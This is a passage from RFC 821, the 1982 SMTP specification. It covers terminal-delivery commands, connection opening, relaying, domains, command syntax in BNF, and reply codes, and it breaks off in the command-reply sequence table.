      not included in the required minimum implementation
      (Section 4.5.1).  Users should have the ability to control the
      writing of messages on their terminals.  Most hosts permit the
      users to accept or refuse such messages.

      The following three command are defined to support the sending
      options.  These are used in the mail transaction instead of the
      MAIL command and inform the receiver-SMTP of the special semantics
      of this transaction:

         SEND <SP> FROM:<reverse-path> <CRLF>

            The SEND command requires that the mail data be delivered to
            the user's terminal.  If the user is not active (or not
            accepting terminal messages) on the host a 450 reply may
            returned to a RCPT command.  The mail transaction is
            successful if the message is delivered the terminal.

         SOML <SP> FROM:<reverse-path> <CRLF>

            The Send Or MaiL command requires that the mail data be
            delivered to the user's terminal if the user is active (and
            accepting terminal messages) on the host.  If the user is
            not active (or not accepting terminal messages) then the
            mail data is entered into the user's mailbox.  The mail
            transaction is successful if the message is delivered either
            to the terminal or the mailbox.

         SAML <SP> FROM:<reverse-path> <CRLF>

            The Send And MaiL command requires that the mail data be
            delivered to the user's terminal if the user is active (and
            accepting terminal messages) on the host.  In any case the
            mail data is entered into the user's mailbox.  The mail
            transaction is successful if the message is delivered the
            mailbox.

Postel                                                         [Page 11]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

      The same reply codes that are used for the MAIL commands are used
      for these commands.

[Page 12]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   3.5.  OPENING AND CLOSING

      At the time the transmission channel is opened there is an
      exchange to ensure that the hosts are communicating with the hosts
      they think they are.

      The following two commands are used in transmission channel
      opening and closing:

         HELO <SP> <domain> <CRLF>

         QUIT <CRLF>

      In the HELO command the host sending the command identifies
      itself; the command may be interpreted as saying "Hello, I am
      <domain>".

      -------------------------------------------------------------

                     Example of Connection Opening

         R: 220 BBN-UNIX.ARPA Simple Mail Transfer Service Ready
         S: HELO USC-ISIF.ARPA
         R: 250 BBN-UNIX.ARPA

                               Example 5

      -------------------------------------------------------------

      -------------------------------------------------------------

                     Example of Connection Closing

         S: QUIT
         R: 221 BBN-UNIX.ARPA Service closing transmission channel

                               Example 6

      -------------------------------------------------------------

Postel                                                         [Page 13]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

   3.6.  RELAYING

      The forward-path may be a source route of the form
      "@ONE,@TWO:JOE@THREE", where ONE, TWO, and THREE are hosts.  This
      form is used to emphasize the distinction between an address and a
      route.  The mailbox is an absolute address, and the route is
      information about how to get there.  The two concepts should not
      be confused.

      Conceptually the elements of the forward-path are moved to the
      reverse-path as the message is relayed from one server-SMTP to
      another.  The reverse-path is a reverse source route, (i.e., a
      source route from the current location of the message to the
      originator of the message).  When a server-SMTP deletes its
      identifier from the forward-path and inserts it into the
      reverse-path, it must use the name it is known by in the
      environment it is sending into, not the environment the mail came
      from, in case the server-SMTP is known by different names in
      different environments.

      If when the message arrives at an SMTP the first element of the
      forward-path is not the identifier of that SMTP the element is not
      deleted from the forward-path and is used to determine the next
      SMTP to send the message to.  In any case, the SMTP adds its own
      identifier to the reverse-path.

      Using source routing the receiver-SMTP receives mail to be relayed
      to another server-SMTP  The receiver-SMTP may accept or reject the
      task of relaying the mail in the same way it accepts or rejects
      mail for a local user.  The receiver-SMTP transforms the command
      arguments by moving its own identifier from the forward-path to
      the beginning of the reverse-path.  The receiver-SMTP then becomes
      a sender-SMTP, establishes a transmission channel to the next SMTP
      in the forward-path, and sends it the mail.

      The first host in the reverse-path should be the host sending the
      SMTP commands, and the first host in the forward-path should be
      the host receiving the SMTP commands.

      Notice that the forward-path and reverse-path appear in the SMTP
      commands and replies, but not necessarily in the message.  That
      is, there is no need for these paths and especially this syntax to
      appear in the "To:" , "From:", "CC:", etc. fields of the message
      header.

      If a server-SMTP has accepted the task of relaying the mail and

[Page 14]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

      later finds that the forward-path is incorrect or that the mail
      cannot be delivered for whatever reason, then it must construct an
      "undeliverable mail" notification message and send it to the
      originator of the undeliverable mail (as indicated by the
      reverse-path).

      This notification message must be from the server-SMTP at this
      host.  Of course, server-SMTPs should not send notification
      messages about problems with notification messages.  One way to
      prevent loops in error reporting is to specify a null reverse-path
      in the MAIL command of a notification message.  When such a
      message is relayed it is permissible to leave the reverse-path
      null.  A MAIL command with a null reverse-path appears as follows:

         MAIL FROM:<>

      An undeliverable mail notification message is shown in example 7.
      This notification is in response to a message originated by JOE at
      HOSTW and sent via HOSTX to HOSTY with instructions to relay it on
      to HOSTZ.  What we see in the example is the transaction between
      HOSTY and HOSTX, which is the first step in the return of the
      notification message.

Postel                                                         [Page 15]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

      -------------------------------------------------------------

            Example Undeliverable Mail Notification Message

         S: MAIL FROM:<>
         R: 250 ok
         S: RCPT TO:<@HOSTX.ARPA:JOE@HOSTW.ARPA>
         R: 250 ok
         S: DATA
         R: 354 send the mail data, end with .
         S: Date: 23 Oct 81 11:22:33
         S: From: SMTP@HOSTY.ARPA
         S: To: JOE@HOSTW.ARPA
         S: Subject: Mail System Problem
         S:
         S:   Sorry JOE, your message to SAM@HOSTZ.ARPA lost.
         S:   HOSTZ.ARPA said this:
         S:    "550 No Such User"
         S: .
         R: 250 ok

                               Example 7

      -------------------------------------------------------------

[Page 16]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   3.7.  DOMAINS

      Domains are a recently introduced concept in the ARPA Internet
      mail system.  The use of domains changes the address space from a
      flat global space of simple character string host names to a
      hierarchically structured rooted tree of global addresses.  The
      host name is replaced by a domain and host designator which is a
      sequence of domain element strings separated by periods with the
      understanding that the domain elements are ordered from the most
      specific to the most general.

      For example, "USC-ISIF.ARPA", "Fred.Cambridge.UK", and
      "PC7.LCS.MIT.ARPA" might be host-and-domain identifiers.

      Whenever domain names are used in SMTP only the official names are
      used, the use of nicknames or aliases is not allowed.

Postel                                                         [Page 17]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

   3.8.  CHANGING ROLES

      The TURN command may be used to reverse the roles of the two
      programs communicating over the transmission channel.

      If program-A is currently the sender-SMTP and it sends the TURN
      command and receives an ok reply (250) then program-A becomes the
      receiver-SMTP.

      If program-B is currently the receiver-SMTP and it receives the
      TURN command and sends an ok reply (250) then program-B becomes
      the sender-SMTP.

      To refuse to change roles the receiver sends the 502 reply.

      Please note that this command is optional.  It would not normally
      be used in situations where the transmission channel is TCP.
      However, when the cost of establishing the transmission channel is
      high, this command may be quite useful.  For example, this command
      may be useful in supporting be mail exchange using the public
      switched telephone system as a transmission channel, especially if
      some hosts poll other hosts for mail exchanges.

[Page 18]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

4.  THE SMTP SPECIFICATIONS

   4.1.  SMTP COMMANDS

      4.1.1.  COMMAND SEMANTICS

         The SMTP commands define the mail transfer or the mail system
         function requested by the user.  SMTP commands are character
         strings terminated by <CRLF>.  The command codes themselves are
         alphabetic characters terminated by <SP> if parameters follow
         and <CRLF> otherwise.  The syntax of mailboxes must conform to
         receiver site conventions.  The SMTP commands are discussed
         below.  The SMTP replies are discussed in the Section 4.2.

         A mail transaction involves several data objects which are
         communicated as arguments to different commands.  The
         reverse-path is the argument of the MAIL command, the
         forward-path is the argument of the RCPT command, and the mail
         data is the argument of the DATA command.  These arguments or
         data objects must be transmitted and held pending the
         confirmation communicated by the end of mail data indication
         which finalizes the transaction.  The model for this is that
         distinct buffers are provided to hold the types of data
         objects, that is, there is a reverse-path buffer, a
         forward-path buffer, and a mail data buffer.  Specific commands
         cause information to be appended to a specific buffer, or cause
         one or more buffers to be cleared.

         HELLO (HELO)

            This command is used to identify the sender-SMTP to the
            receiver-SMTP.  The argument field contains the host name of
            the sender-SMTP.

            The receiver-SMTP identifies itself to the sender-SMTP in
            the connection greeting reply, and in the response to this
            command.

            This command and an OK reply to it confirm that both the
            sender-SMTP and the receiver-SMTP are in the initial state,
            that is, there is no transaction in progress and all state
            tables and buffers are cleared.

Postel                                                         [Page 19]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

         MAIL (MAIL)

            This command is used to initiate a mail transaction in which
            the mail data is delivered to one or more mailboxes.  The
            argument field contains a reverse-path.

            The reverse-path consists of an optional list of hosts and
            the sender mailbox.  When the list of hosts is present, it
            is a "reverse" source route and indicates that the mail was
            relayed through each host on the list (the first host in the
            list was the most recent relay).  This list is used as a
            source route to return non-delivery notices to the sender.
            As each relay host adds itself to the beginning of the list,
            it must use its name as known in the IPCE to which it is
            relaying the mail rather than the IPCE from which the mail
            came (if they are different).  In some types of error
            reporting messages (for example, undeliverable mail
            notifications) the reverse-path may be null (see Example 7).

            This command clears the reverse-path buffer, the
            forward-path buffer, and the mail data buffer; and inserts
            the reverse-path information from this command into the
            reverse-path buffer.

         RECIPIENT (RCPT)

            This command is used to identify an individual recipient of
            the mail data; multiple recipients are specified by multiple
            use of this command.

            The forward-path consists of an optional list of hosts and a
            required destination mailbox.  When the list of hosts is
            present, it is a source route and indicates that the mail
            must be relayed to the next host on the list.  If the
            receiver-SMTP does not implement the relay function it may
            user the same reply it would for an unknown local user
            (550).

            When mail is relayed, the relay host must remove itself from
            the beginning forward-path and put itself at the beginning
            of the reverse-path.  When mail reaches its ultimate
            destination (the forward-path contains only a destination
            mailbox), the receiver-SMTP inserts it into the destination
            mailbox in accordance with its host mail conventions.

[Page 20]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

               For example, mail received at relay host A with arguments

                  FROM:<USERX@HOSTY.ARPA>
                  TO:<@HOSTA.ARPA,@HOSTB.ARPA:USERC@HOSTD.ARPA>

               will be relayed on to host B with arguments

                  FROM:<@HOSTA.ARPA:USERX@HOSTY.ARPA>
                  TO:<@HOSTB.ARPA:USERC@HOSTD.ARPA>.

            This command causes its forward-path argument to be appended
            to the forward-path buffer.

         DATA (DATA)

            The receiver treats the lines following the command as mail
            data from the sender.  This command causes the mail data
            from this command to be appended to the mail data buffer.
            The mail data may contain any of the 128 ASCII character
            codes.

            The mail data is terminated by a line containing only a
            period, that is the character sequence "<CRLF>.<CRLF>" (see
            Section 4.5.2 on Transparency).  This is the end of mail
            data indication.

            The end of mail data indication requires that the receiver
            must now process the stored mail transaction information.
            This processing consumes the information in the reverse-path
            buffer, the forward-path buffer, and the mail data buffer,
            and on the completion of this command these buffers are
            cleared.  If the processing is successful the receiver must
            send an OK reply.  If the processing fails completely the
            receiver must send a failure reply.

            When the receiver-SMTP accepts a message either for relaying
            or for final delivery it inserts at the beginning of the
            mail data a time stamp line.  The time stamp line indicates
            the identity of the host that sent the message, and the
            identity of the host that received the message (and is
            inserting this time stamp), and the date and time the
            message was received.  Relayed messages will have multiple
            time stamp lines.

            When the receiver-SMTP makes the "final delivery" of a
            message it inserts at the beginning of the mail data a

Postel                                                         [Page 21]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

            return path line.  The return path line preserves the
            information in the <reverse-path> from the MAIL command.
            Here, final delivery means the message leaves the SMTP
            world.  Normally, this would mean it has been delivered to
            the destination user, but in some cases it may be further
            processed and transmitted by another mail system.

               It is possible for the mailbox in the return path be
               different from the actual sender's mailbox, for example,
               if error responses are to be delivered a special error
               handling mailbox rather than the message senders.

            The preceding two paragraphs imply that the final mail data
            will begin with a  return path line, followed by one or more
            time stamp lines.  These lines will be followed by the mail
            data header and body [2].  See Example 8.

            Special mention is needed of the response and further action
            required when the processing following the end of mail data
            indication is partially successful.  This could arise if
            after accepting several recipients and the mail data, the
            receiver-SMTP finds that the mail data can be successfully
            delivered to some of the recipients, but it cannot be to
            others (for example, due to mailbox space allocation
            problems).  In such a situation, the response to the DATA
            command must be an OK reply.  But, the receiver-SMTP must
            compose and send an "undeliverable mail" notification
            message to the originator of the message.  Either a single
            notification which lists all of the recipients that failed
            to get the message, or separate notification messages must
            be sent for each failed recipient (see Example 7).  All
            undeliverable mail notification messages are sent using the
            MAIL command (even if they result from processing a SEND,
            SOML, or SAML command).

[Page 22]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

     -------------------------------------------------------------

            Example of Return Path and Received Time Stamps

      Return-Path: <@GHI.ARPA,@DEF.ARPA,@ABC.ARPA:JOE@ABC.ARPA>
      Received: from GHI.ARPA by JKL.ARPA ; 27 Oct 81 15:27:39 PST
      Received: from DEF.ARPA by GHI.ARPA ; 27 Oct 81 15:15:13 PST
      Received: from ABC.ARPA by DEF.ARPA ; 27 Oct 81 15:01:59 PST
      Date: 27 Oct 81 15:01:01 PST
      From: JOE@ABC.ARPA
      Subject: Improved Mailing System Installed
      To: SAM@JKL.ARPA

      This is to inform you that ...

                               Example 8

     -------------------------------------------------------------

         SEND (SEND)

            This command is used to initiate a mail transaction in which
            the mail data is delivered to one or more terminals.  The
            argument field contains a reverse-path.  This command is
            successful if the message is delivered to a terminal.

            The reverse-path consists of an optional list of hosts and
            the sender mailbox.  When the list of hosts is present, it
            is a "reverse" source route and indicates that the mail was
            relayed through each host on the list (the first host in the
            list was the most recent relay).  This list is used as a
            source route to return non-delivery notices to the sender.
            As each relay host adds itself to the beginning of the list,
            it must use its name as known in the IPCE to which it is
            relaying the mail rather than the IPCE from which the mail
            came (if they are different).

            This command clears the reverse-path buffer, the
            forward-path buffer, and the mail data buffer; and inserts
            the reverse-path information from this command into the
            reverse-path buffer.

         SEND OR MAIL (SOML)

            This command is used to initiate a mail transaction in which
            the mail data is delivered to one or more terminals or

Postel                                                         [Page 23]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

            mailboxes. For each recipient the mail data is delivered to
            the recipient's terminal if the recipient is active on the
            host (and accepting terminal messages), otherwise to the
            recipient's mailbox.  The argument field contains a
            reverse-path.  This command is successful if the message is
            delivered to a terminal or the mailbox.

            The reverse-path consists of an optional list of hosts and
            the sender mailbox.  When the list of hosts is present, it
            is a "reverse" source route and indicates that the mail was
            relayed through each host on the list (the first host in the
            list was the most recent relay).  This list is used as a
            source route to return non-delivery notices to the sender.
            As each relay host adds itself to the beginning of the list,
            it must use its name as known in the IPCE to which it is
            relaying the mail rather than the IPCE from which the mail
            came (if they are different).

            This command clears the reverse-path buffer, the
            forward-path buffer, and the mail data buffer; and inserts
            the reverse-path information from this command into the
            reverse-path buffer.

         SEND AND MAIL (SAML)

            This command is used to initiate a mail transaction in which
            the mail data is delivered to one or more terminals and
            mailboxes. For each recipient the mail data is delivered to
            the recipient's terminal if the recipient is active on the
            host (and accepting terminal messages), and for all
            recipients to the recipient's mailbox.  The argument field
            contains a reverse-path.  This command is successful if the
            message is delivered to the mailbox.

            The reverse-path consists of an optional list of hosts and
            the sender mailbox.  When the list of hosts is present, it
            is a "reverse" source route and indicates that the mail was
            relayed through each host on the list (the first host in the
            list was the most recent relay).  This list is used as a
            source route to return non-delivery notices to the sender.
            As each relay host adds itself to the beginning of the list,
            it must use its name as known in the IPCE to which it is
            relaying the mail rather than the IPCE from which the mail
            came (if they are different).

            This command clears the reverse-path buffer, the

[Page 24]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

            forward-path buffer, and the mail data buffer; and inserts
            the reverse-path information from this command into the
            reverse-path buffer.

         RESET (RSET)

            This command specifies that the current mail transaction is
            to be aborted.  Any stored sender, recipients, and mail data
            must be discarded, and all buffers and state tables cleared.
            The receiver must send an OK reply.

         VERIFY (VRFY)

            This command asks the receiver to confirm that the argument
            identifies a user.  If it is a user name, the full name of
            the user (if known) and the fully specified mailbox are
            returned.

            This command has no effect on any of the reverse-path
            buffer, the forward-path buffer, or the mail data buffer.

         EXPAND (EXPN)

            This command asks the receiver to confirm that the argument
            identifies a mailing list, and if so, to return the
            membership of that list.  The full name of the users (if
            known) and the fully specified mailboxes are returned in a
            multiline reply.

            This command has no effect on any of the reverse-path
            buffer, the forward-path buffer, or the mail data buffer.

         HELP (HELP)

            This command causes the receiver to send helpful information
            to the sender of the HELP command.  The command may take an
            argument (e.g., any command name) and return more specific
            information as a response.

            This command has no effect on any of the reverse-path
            buffer, the forward-path buffer, or the mail data buffer.

Postel                                                         [Page 25]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

         NOOP (NOOP)

            This command does not affect any parameters or previously
            entered commands.  It specifies no action other than that
            the receiver send an OK reply.

            This command has no effect on any of the reverse-path
            buffer, the forward-path buffer, or the mail data buffer.

         QUIT (QUIT)

            This command specifies that the receiver must send an OK
            reply, and then close the transmission channel.

            The receiver should not close the transmission channel until
            it receives and replies to a QUIT command (even if there was
            an error).  The sender should not close the transmission
            channel until it send a QUIT command and receives the reply
            (even if there was an error response to a previous command).
            If the connection is closed prematurely the receiver should
            act as if a RSET command had been received (canceling any
            pending transaction, but not undoing any previously
            completed transaction), the sender should act as if the
            command or transaction in progress had received a temporary
            error (4xx).

         TURN (TURN)

            This command specifies that the receiver must either (1)
            send an OK reply and then take on the role of the
            sender-SMTP, or (2) send a refusal reply and retain the role
            of the receiver-SMTP.

            If program-A is currently the sender-SMTP and it sends the
            TURN command and receives an OK reply (250) then program-A
            becomes the receiver-SMTP.  Program-A is then in the initial
            state as if the transmission channel just opened, and it
            then sends the 220 service ready greeting.

            If program-B is currently the receiver-SMTP and it receives
            the TURN command and sends an OK reply (250) then program-B
            becomes the sender-SMTP.  Program-B is then in the initial
            state as if the transmission channel just opened, and it
            then expects to receive the 220 service ready greeting.

            To refuse to change roles the receiver sends the 502 reply.

[Page 26]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

         There are restrictions on the order in which these command may
         be used.

            The first command in a session must be the HELO command.
            The HELO command may be used later in a session as well.  If
            the HELO command argument is not acceptable a 501 failure
            reply must be returned and the receiver-SMTP must stay in
            the same state.

            The NOOP, HELP, EXPN, and VRFY commands can be used at any
            time during a session.

            The MAIL, SEND, SOML, or SAML commands begin a mail
            transaction.  Once started a mail transaction consists of
            one of the transaction beginning commands, one or more RCPT
            commands, and a DATA command, in that order.  A mail
            transaction may be aborted by the RSET command.  There may
            be zero or more transactions in a session.

            If the transaction beginning command argument is not
            acceptable a 501 failure reply must be returned and the
            receiver-SMTP must stay in the same state.  If the commands
            in a transaction are out of order a 503 failure reply must
            be returned and the receiver-SMTP must stay in the same
            state.

            The last command in a session must be the QUIT command.  The
            QUIT command can not be used at any other time in a session.

      4.1.2.  COMMAND SYNTAX

         The commands consist of a command code followed by an argument
         field.  Command codes are four alphabetic characters.  Upper
         and lower case alphabetic characters are to be treated
         identically.  Thus, any of the following may represent the mail
         command:

            MAIL    Mail    mail    MaIl    mAIl

         This also applies to any symbols representing parameter values,
         such as "TO" or "to" for the forward-path.  Command codes and
         the argument fields are separated by one or more spaces.
         However, within the reverse-path and forward-path arguments
         case is important.  In particular, in some hosts the user
         "smith" is different from the user "Smith".

Postel                                                         [Page 27]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

         The argument field consists of a variable length character
         string ending with the character sequence <CRLF>.  The receiver
         is to take no action until this sequence is received.

         Square brackets denote an optional argument field.  If the
         option is not taken, the appropriate default is implied.

[Page 28]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

         The following are the SMTP commands:

            HELO <SP> <domain> <CRLF>

            MAIL <SP> FROM:<reverse-path> <CRLF>

            RCPT <SP> TO:<forward-path> <CRLF>

            DATA <CRLF>

            RSET <CRLF>

            SEND <SP> FROM:<reverse-path> <CRLF>

            SOML <SP> FROM:<reverse-path> <CRLF>

            SAML <SP> FROM:<reverse-path> <CRLF>

            VRFY <SP> <string> <CRLF>

            EXPN <SP> <string> <CRLF>

            HELP [<SP> <string>] <CRLF>

            NOOP <CRLF>

            QUIT <CRLF>

            TURN <CRLF>

Postel                                                         [Page 29]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

         The syntax of the above argument fields (using BNF notation
         where applicable) is given below.  The "..." notation indicates
         that a field may be repeated one or more times.

            <reverse-path> ::= <path>

            <forward-path> ::= <path>

            <path> ::= "<" [ <a-d-l> ":" ] <mailbox> ">"

            <a-d-l> ::= <at-domain> | <at-domain> "," <a-d-l>

            <at-domain> ::= "@" <domain>

            <domain> ::=  <element> | <element> "." <domain>

            <element> ::= <name> | "#" <number> | "[" <dotnum> "]"

            <mailbox> ::= <local-part> "@" <domain>

            <local-part> ::= <dot-string> | <quoted-string>

            <name> ::= <a> <ldh-str> <let-dig>

            <ldh-str> ::= <let-dig-hyp> | <let-dig-hyp> <ldh-str>

            <let-dig> ::= <a> | <d>

            <let-dig-hyp> ::= <a> | <d> | "-"

            <dot-string> ::= <string> | <string> "." <dot-string>

            <string> ::= <char> | <char> <string>

            <quoted-string> ::=  """ <qtext> """

            <qtext> ::=  "\" <x> | "\" <x> <qtext> | <q> | <q> <qtext>

            <char> ::= <c> | "\" <x>

            <dotnum> ::= <snum> "." <snum> "." <snum> "." <snum>

            <number> ::= <d> | <d> <number>

            <CRLF> ::= <CR> <LF>

[Page 30]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

            <CR> ::= the carriage return character (ASCII code 13)

            <LF> ::= the line feed character (ASCII code 10)

            <SP> ::= the space character (ASCII code 32)

            <snum> ::= one, two, or three digits representing a decimal
                      integer value in the range 0 through 255

            <a> ::= any one of the 52 alphabetic characters A through Z
                      in upper case and a through z in lower case

            <c> ::= any one of the 128 ASCII characters, but not any
                      <special> or <SP>

            <d> ::= any one of the ten digits 0 through 9

            <q> ::= any one of the 128 ASCII characters except <CR>,
                      <LF>, quote ("), or backslash (\)

            <x> ::= any one of the 128 ASCII characters (no exceptions)

            <special> ::= "<" | ">" | "(" | ")" | "[" | "]" | "\" | "."
                      | "," | ";" | ":" | "@"  """ | the control
                      characters (ASCII codes 0 through 31 inclusive and
                      127)

         Note that the backslash, "\", is a quote character, which is
         used to indicate that the next character is to be used
         literally (instead of its normal interpretation).  For example,
         "Joe\,Smith" could be used to indicate a single nine character
         user field with comma being the fourth character of the field.

         Hosts are generally known by names which are translated to
         addresses in each host.  Note that the name elements of domains
         are the official names -- no use of nicknames or aliases is
         allowed.

         Sometimes a host is not known to the translation function and
         communication is blocked.  To bypass this barrier two numeric
         forms are also allowed for host "names".  One form is a decimal
         integer prefixed by a pound sign, "#", which indicates the
         number is the address of the host.  Another form is four small
         decimal integers separated by dots and enclosed by brackets,
         e.g., "[123.255.37.2]", which indicates a 32-bit ARPA Internet
         Address in four 8-bit fields.

Postel                                                         [Page 31]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

         The time stamp line and the return path line are formally
         defined as follows:

         <return-path-line> ::= "Return-Path:" <SP><reverse-path><CRLF>

         <time-stamp-line> ::= "Received:" <SP> <stamp> <CRLF>

            <stamp> ::= <from-domain> <by-domain> <opt-info> ";"
                      <daytime>

            <from-domain> ::= "FROM" <SP> <domain> <SP>

            <by-domain> ::= "BY" <SP> <domain> <SP>

            <opt-info> ::= [<via>] [<with>] [<id>] [<for>]

            <via> ::= "VIA" <SP> <link> <SP>

            <with> ::= "WITH" <SP> <protocol> <SP>

            <id> ::= "ID" <SP> <string> <SP>

            <for> ::= "FOR" <SP> <path> <SP>

            <link> ::= The standard names for links are registered with
                      the Network Information Center.

            <protocol> ::= The standard names for protocols are
                      registered with the Network Information Center.

            <daytime> ::= <SP> <date> <SP> <time>

            <date> ::= <dd> <SP> <mon> <SP> <yy>

            <time> ::= <hh> ":" <mm> ":" <ss> <SP> <zone>

            <dd> ::= the one or two decimal integer day of the month in
                      the range 1 to 31.

            <mon> ::= "JAN" | "FEB" | "MAR" | "APR" | "MAY" | "JUN" |
                      "JUL" | "AUG" | "SEP" | "OCT" | "NOV" | "DEC"

            <yy> ::= the two decimal integer year of the century in the
                      range 00 to 99.

[Page 32]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

            <hh> ::= the two decimal integer hour of the day in the
                      range 00 to 24.

            <mm> ::= the two decimal integer minute of the hour in the
                      range 00 to 59.

            <ss> ::= the two decimal integer second of the minute in the
                      range 00 to 59.

            <zone> ::= "UT" for Universal Time (the default) or other
                      time zone designator (as in [2]).

     -------------------------------------------------------------

                          Return Path Example

         Return-Path: <@CHARLIE.ARPA,@BAKER.ARPA:JOE@ABLE.ARPA>

                               Example 9

     -------------------------------------------------------------

     -------------------------------------------------------------

                        Time Stamp Line Example

      Received: FROM ABC.ARPA BY XYZ.ARPA ; 22 OCT 81 09:23:59 PDT

         Received: from ABC.ARPA by XYZ.ARPA via TELENET with X25
                   id M12345 for Smith@PDQ.ARPA ; 22 OCT 81 09:23:59 PDT

                               Example 10

      -------------------------------------------------------------

Postel                                                         [Page 33]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

   4.2.  SMTP REPLIES

      Replies to SMTP commands are devised to ensure the synchronization
      of requests and actions in the process of mail transfer, and to
      guarantee that the sender-SMTP always knows the state of the
      receiver-SMTP.  Every command must generate exactly one reply.

         The details of the command-reply sequence are made explicit in
         Section 5.3 on Sequencing and Section 5.4 State Diagrams.

      An SMTP reply consists of a three digit number (transmitted as
      three alphanumeric characters) followed by some text.  The number
      is intended for use by automata to determine what state to enter
      next; the text is meant for the human user.  It is intended that
      the three digits contain enough encoded information that the
      sender-SMTP need not examine the text and may either discard it or
      pass it on to the user, as appropriate.  In particular, the text
      may be receiver-dependent and context dependent, so there are
      likely to be varying texts for each reply code.  A discussion of
      the theory of reply codes is given in Appendix E.  Formally, a
      reply is defined to be the sequence:  a three-digit code, <SP>,
      one line of text, and <CRLF>, or a multiline reply (as defined in
      Appendix E).  Only the EXPN and HELP commands are expected to
      result in multiline replies in normal circumstances, however
      multiline replies are allowed for any command.

[Page 34]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

      4.2.1.  REPLY CODES BY FUNCTION GROUPS

         500 Syntax error, command unrecognized
            [This may include errors such as command line too long]
         501 Syntax error in parameters or arguments
         502 Command not implemented
         503 Bad sequence of commands
         504 Command parameter not implemented

         211 System status, or system help reply
         214 Help message
            [Information on how to use the receiver or the meaning of a
            particular non-standard command; this reply is useful only
            to the human user]

         220 <domain> Service ready
         221 <domain> Service closing transmission channel
         421 <domain> Service not available,
             closing transmission channel
            [This may be a reply to any command if the service knows it
            must shut down]

         250 Requested mail action okay, completed
         251 User not local; will forward to <forward-path>
         450 Requested mail action not taken: mailbox unavailable
            [E.g., mailbox busy]
         550 Requested action not taken: mailbox unavailable
            [E.g., mailbox not found, no access]
         451 Requested action aborted: error in processing
         551 User not local; please try <forward-path>
         452 Requested action not taken: insufficient system storage
         552 Requested mail action aborted: exceeded storage allocation
         553 Requested action not taken: mailbox name not allowed
            [E.g., mailbox syntax incorrect]
         354 Start mail input; end with <CRLF>.<CRLF>
         554 Transaction failed

Postel                                                         [Page 35]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

      4.2.2.  NUMERIC ORDER LIST OF REPLY CODES

         211 System status, or system help reply
         214 Help message
            [Information on how to use the receiver or the meaning of a
            particular non-standard command; this reply is useful only
            to the human user]
         220 <domain> Service ready
         221 <domain> Service closing transmission channel
         250 Requested mail action okay, completed
         251 User not local; will forward to <forward-path>

         354 Start mail input; end with <CRLF>.<CRLF>

         421 <domain> Service not available,
             closing transmission channel
            [This may be a reply to any command if the service knows it
            must shut down]
         450 Requested mail action not taken: mailbox unavailable
            [E.g., mailbox busy]
         451 Requested action aborted: local error in processing
         452 Requested action not taken: insufficient system storage

         500 Syntax error, command unrecognized
            [This may include errors such as command line too long]
         501 Syntax error in parameters or arguments
         502 Command not implemented
         503 Bad sequence of commands
         504 Command parameter not implemented
         550 Requested action not taken: mailbox unavailable
            [E.g., mailbox not found, no access]
         551 User not local; please try <forward-path>
         552 Requested mail action aborted: exceeded storage allocation
         553 Requested action not taken: mailbox name not allowed
            [E.g., mailbox syntax incorrect]
         554 Transaction failed

[Page 36]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   4.3.  SEQUENCING OF COMMANDS AND REPLIES

      The communication between the sender and receiver is intended to
      be an alternating dialogue, controlled by the sender.  As such,
      the sender issues a command and the receiver responds with a
      reply.  The sender must wait for this response before sending
      further commands.

      One important reply is the connection greeting.  Normally, a
      receiver will send a 220 "Service ready" reply when the connection
      is completed.  The sender should wait for this greeting message
      before sending any commands.

         Note: all the greeting type replies have the official name of
         the server host as the first word following the reply code.

            For example,

               220 <SP> USC-ISIF.ARPA <SP> Service ready <CRLF>

      The table below lists alternative success and failure replies for
      each command.  These must be strictly adhered to; a receiver may
      substitute text in the replies, but the meaning and action implied
      by the code numbers and by the specific command reply sequence
      cannot be altered.

      COMMAND-REPLY SEQUENCES

         Each command is listed with its possible replies.  The prefixes
         used before the possible replies are "P" for preliminary (not
         used in SMTP), "I" for intermediate, "S" for success, "F" for
         failure, and "E" for error.  The 421 reply (service not
         available, closing transmission channel) may be given to any
         command if the SMTP-receiver knows it must shut down.  This
         listing forms the basis for the State Diagrams in Section 4.4.

            CONNECTION ESTABLISHMENT
               S: 220
               F: 421
            HELO
               S: 250
               E: 500, 501, 504, 421
            MAIL
               S: 250
               F: 552, 451, 452
               E: 500, 501, 421

Postel                                                         [Page 37]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

            RCPT
               S: 250, 251
               F: 550, 551, 552, 553, 450, 451, 452
               E: 500, 501, 503, 421
            DATA
               I: 354 -> data -> S: 250
                                 F: 552, 554, 451, 452
               F: 451, 554
               E: 500, 501, 503, 421
            RSET
               S: 250
               E: 500, 501, 504, 421
            SEND
               S: 250
               F: 552, 451, 452
               E: 500, 501, 502, 421
            SOML
               S: 250
               F: 552, 451, 452
               E: 500, 501, 502, 421
            SAML
               S: 250
               F: 552, 451, 452
               E: 500, 501, 502, 421
            VRFY
               S: 250, 251
               F: 550, 551, 553
               E: 500, 501, 502, 504, 421
            EXPN
               S: 250
               F: 550
